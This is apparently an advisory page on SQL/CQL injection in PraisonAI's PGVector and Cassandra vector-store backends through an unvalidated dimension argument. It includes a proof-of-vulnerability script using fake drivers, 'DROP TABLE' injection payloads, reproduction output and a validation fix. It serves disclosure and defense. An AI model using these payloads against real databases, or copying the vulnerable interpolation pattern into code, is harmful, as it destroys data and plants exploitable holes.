GHSA-wf65-4jjx-q444: SQL Injection

Published Oct 8, 2026
·
Updated

PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL

Summary

The PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled dimension argument directly into CREATE TABLE vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.

Technical Details

The affected boundary is the vector-store collection creation API. The shared KnowledgeStore.createcollection() contract declares dimension: int, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.

src/praisonai/praisonai/persistence/knowledge/pgvector.py already treats DDL identifier interpolation as security-sensitive: init() calls validateidentifier(schema, name="schema"), and tablename() calls validateidentifier(collection, name="collection name") before returning f"{self.schema}.praisonvec{collection}". However, PGVectorKnowledgeStore.createcollection() then executes:

python cur.execute(f""" CREATE TABLE IF NOT EXISTS {table} ( id VARCHAR(255) PRIMARY KEY, content TEXT, contenthash VARCHAR(64), createdat DOUBLE PRECISION, metadata JSONB, embedding vector({dimension}) ) """)

No equivalent type or range check runs on dimension. Passing a string such as 3); DROP TABLE tenantsecrets; -- reaches the SQL sent to cur.execute().

src/praisonai/praisonai/persistence/knowledge/cassandra.py has the same pattern. The constructor validates keyspace, and createcollection() validates the collection name, but the vector column DDL uses:

python self.session.execute(f""" CREATE TABLE IF NOT EXISTS {name} ( id text PRIMARY KEY, content text, contenthash text, createdat double, embedding vector<float, {dimension}> ) """)

Passing a string such as 3>; DROP TABLE tenantsecrets; -- reaches the CQL sent to session.execute().

PoV

This minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.

python #!/usr/bin/env python3 """Local PoV for vector-store dimension DDL interpolation.

The script imports PraisonAI's current source with fake PostgreSQL/Cassandra drivers, then records the SQL/CQL sent to the driver cursors. No database server is required; the assertion is that the real classes build executable DDL with an attacker-controlled dimension string. """

from future import annotations

import argparse import importlib import json import subprocess import sys import types from pathlib import Path from typing import Any

class SqlRecorder: def init(self) -> None: self.statements: list[dict[str, Any]] = []

def execute(self, statement: str, params: Any = None) -> None: normalized = "\n".join(line.rstrip() for line in statement.strip().splitlines()) self.statements.append({"statement": normalized, "params": params})

def enter(self) -> "SqlRecorder": return self

def exit(self, exc: object) -> None: return None

class FakeConnection: def init(self, recorder: SqlRecorder) -> None: self.recorder = recorder

def cursor(self, args: Any, kwargs: Any) -> SqlRecorder: return self.recorder

def commit(self) -> None: return None

class FakePool: def init(self, recorder: SqlRecorder) -> None: self.conn = FakeConnection(recorder)

def getconn(self) -> FakeConnection: return self.conn

def putconn(self, conn: FakeConnection) -> None: return None

def closeall(self) -> None: return None

class FakeCassandraSession: def init(self, recorder: SqlRecorder) -> None: self.recorder = recorder self.keyspace: str | None = None

def execute(self, statement: str, params: Any = None) -> list[Any]: self.recorder.execute(statement, params) return []

def setkeyspace(self, keyspace: str) -> None: self.keyspace = keyspace

class FakeCluster: recorder: SqlRecorder

def init(self, args: Any, kwargs: Any) -> None: self.session = FakeCassandraSession(self.recorder)

def connect(self) -> FakeCassandraSession: return self.session

def shutdown(self) -> None: return None

def installfakepgdriver(recorder: SqlRecorder) -> None: psycopg2 = types.ModuleType("psycopg2") pool = types.ModuleType("psycopg2.pool") extras = types.ModuleType("psycopg2.extras")

pool.ThreadedConnectionPool = lambda args, kwargs: FakePool(recorder) # type: ignore[attr-defined] extras.RealDictCursor = object # type: ignore[attr-defined] psycopg2.pool = pool # type: ignore[attr-defined] psycopg2.extras = extras # type: ignore[attr-defined]

sys.modules["psycopg2"] = psycopg2 sys.modules["psycopg2.pool"] = pool sys.modules["psycopg2.extras"] = extras

def installfakecassandradriver(recorder: SqlRecorder) -> None: cassandra = types.ModuleType("cassandra") cluster = types.ModuleType("cassandra.cluster") auth = types.ModuleType("cassandra.auth")

FakeCluster.recorder = recorder cluster.Cluster = FakeCluster # type: ignore[attr-defined] auth.PlainTextAuthProvider = lambda args, kwargs: object() # type: ignore[attr-defined]

sys.modules["cassandra"] = cassandra sys.modules["cassandra.cluster"] = cluster sys.modules["cassandra.auth"] = auth

def gitvalue(sourceroot: Path, args: str) -> str: return subprocess.checkoutput(["git", args], cwd=sourceroot, text=True).strip()

def tryinvalidcollection(store: Any) -> str: try: store.createcollection("docs; DROP TABLE blocked; --", 3) except Exception as exc: # noqa: BLE001 - output records exact guard behavior. return f"{type(exc).name}: {exc}" return "accepted"

def runpgvector(sourceroot: Path) -> dict[str, Any]: recorder = SqlRecorder() installfakepgdriver(recorder) sys.path.insert(0, str(sourceroot / "src" / "praisonai")) mod = importlib.importmodule("praisonai.persistence.knowledge.pgvector") store = mod.PGVectorKnowledgeStore(url="postgresql://example.invalid/db", autocreateextension=False)

invalidcollection = tryinvalidcollection(store) recorder.statements.clear() store.createcollection("docs", 3) safestatements = list(recorder.statements)

recorder.statements.clear() payload = "3); DROP TABLE tenantsecrets; --" store.createcollection("docs", payload) maliciousstatements = list(recorder.statements)

return { "payload": payload, "invalidcollectioncontrol": invalidcollection, "safecontainsdroptable": "DROP TABLE" in json.dumps(safestatements), "maliciouscontainsdroptable": "DROP TABLE tenantsecrets" in json.dumps(maliciousstatements), "safestatements": safestatements, "maliciousstatements": maliciousstatements, }

def runcassandra(sourceroot: Path) -> dict[str, Any]: recorder = SqlRecorder() installfakecassandradriver(recorder) sys.path.insert(0, str(sourceroot / "src" / "praisonai")) mod = importlib.importmodule("praisonai.persistence.knowledge.cassandra") store = mod.CassandraKnowledgeStore(hosts=["127.0.0.1"], keyspace="praisonaisafe")

invalidcollection = tryinvalidcollection(store) recorder.statements.clear() store.createcollection("docs", 3) safestatements = list(recorder.statements)

recorder.statements.clear() payload = "3>; DROP TABLE tenantsecrets; --" store.createcollection("docs", payload) maliciousstatements = list(recorder.statements)

return { "payload": payload, "invalidcollectioncontrol": invalidcollection, "safecontainsdroptable": "DROP TABLE" in json.dumps(safestatements), "maliciouscontainsdroptable": "DROP TABLE tenantsecrets" in json.dumps(maliciousstatements), "safestatements": safestatements, "maliciousstatements": maliciousstatements, }

def main() -> None: parser = argparse.ArgumentParser() parser.addargument("--source-root", type=Path, default=Path.cwd()) args = parser.parseargs() sourceroot = args.sourceroot.resolve()

output = { "source": { "repository": "MervinPraison/PraisonAI", "head": gitvalue(sourceroot, "rev-parse", "HEAD"), "describe": gitvalue(sourceroot, "describe", "--tags", "--always", "--dirty"), }, "pgvector": runpgvector(sourceroot), "cassandra": runcassandra(sourceroot), }

assert output["pgvector"]["invalidcollectioncontrol"].startswith("ValueError:"), output assert output["cassandra"]["invalidcollectioncontrol"].startswith("ValueError:"), output assert output["pgvector"]["safecontainsdroptable"] is False, output assert output["cassandra"]["safecontainsdroptable"] is False, output assert output["pgvector"]["maliciouscontainsdroptable"] is True, output assert output["cassandra"]["maliciouscontainsdroptable"] is True, output

print(json.dumps(output, indent=2, sortkeys=True))

if name == "main": main()

PoC

Save the PoV script above as povvectordimensionddlinjection.py, then reproduce against current head:

bash git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab python3 povvectordimensionddlinjection.py --source-root .

Decisive PGVector output:

json { "pgvector": { "invalidcollectioncontrol": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores", "safecontainsdroptable": false, "maliciouscontainsdroptable": true, "maliciousstatements": [ { "statement": "CREATE TABLE IF NOT EXISTS public.praisonvecdocs (... embedding vector(3); DROP TABLE tenantsecrets; --) ...)" } ] } }

Decisive Cassandra output:

json { "cassandra": { "invalidcollectioncontrol": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores", "safecontainsdroptable": false, "maliciouscontainsdroptable": true, "maliciousstatements": [ { "statement": "CREATE TABLE IF NOT EXISTS docs (... embedding vector<float, 3>; DROP TABLE tenantsecrets; --> ...)" } ] } }

The local controls also showed safe integer dimensions produce embedding vector(3) and embedding vector<float, 3> without DROP TABLE, while malicious collection names are rejected before driver execution.

Impact

This is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.

Suggested Fix

Validate dimension before constructing DDL in every backend that uses it. Prefer a shared helper at the KnowledgeStore.createcollection() boundary plus backend-level defense in depth:

python def validatevectordimension(value: object) -> int: if isinstance(value, bool) or not isinstance(value, int): raise ValueError("dimension must be an integer") if value <= 0 or value > 200000: raise ValueError("dimension is outside the supported range") return value

Use the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as 3); DROP TABLE x; -- and 3>; DROP TABLE x; -- raise before any driver execute() call, alongside the existing malicious collection-name tests.

Affected Package/Versions

Affected package: praisonai.

The source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at v3.10.0, v4.5.128, v4.6.59, v4.6.62, v4.6.63, v4.6.64, and current main commit 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab. A conservative affected range is praisonai >= 3.10.0, <= 4.6.64 plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.

Advisory History

Repository security advisories were checked on 2026-06-19. The closest public advisory is GHSA-3643-7v76-5cj2, "PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are embedding vector({dimension}) and embedding vector<float, {dimension}>, and the issue remains after the identifier hardening.

Other checked comparators include conversation-store tableprefix SQL injection advisories (GHSA-rg3h-x3jw-7jm5, GHSA-x783-xp3g-mqhp) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.

References

- src/praisonai/praisonai/persistence/knowledge/pgvector.py - src/praisonai/praisonai/persistence/knowledge/cassandra.py - src/praisonai/praisonai/persistence/knowledge/base.py - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2 - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5 - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp

Affected Software

1 affected componentFixes available
pip/praisonai<=4.6.77
4.6.78

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonai to a version that resolves this vulnerability.

    Fixed in 4.6.78
  2. Compensating control

    Add a shared validate_vector_dimension check at the KnowledgeStore.create_collection() boundary and backend-level defense in depth before constructing DDL. Require dimension to be an integer, reject booleans and non-integers, and enforce the supported range 1 through 200000; use the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests confirming malicious values such as `3); DROP TABLE x; --` and `3>; DROP TABLE x; --` are rejected before any driver execute() call.

Event History

Oct 8, 2026
Advisory Published
via GitHub·05:17 PM
Data Sourced
via GitHub·05:17 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Deployments using the PGVector or Cassandra knowledge-store backends are exposed if an untrusted caller can influence the dimension passed when creating a collection. The affected boundary is the vector-store collection creation API.

2

Does the dimension type annotation prevent exploitation?

No. Although the shared create_collection() contract declares dimension as an int, Python type hints are not enforced at runtime. A non-integer runtime value can be interpolated into generated SQL or CQL DDL.

3

What attacker capability is required?

An attacker needs the ability to supply or control the dimension argument during collection creation. They can then append SQL or CQL tokens to the CREATE TABLE vector-column declaration executed through the database driver.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203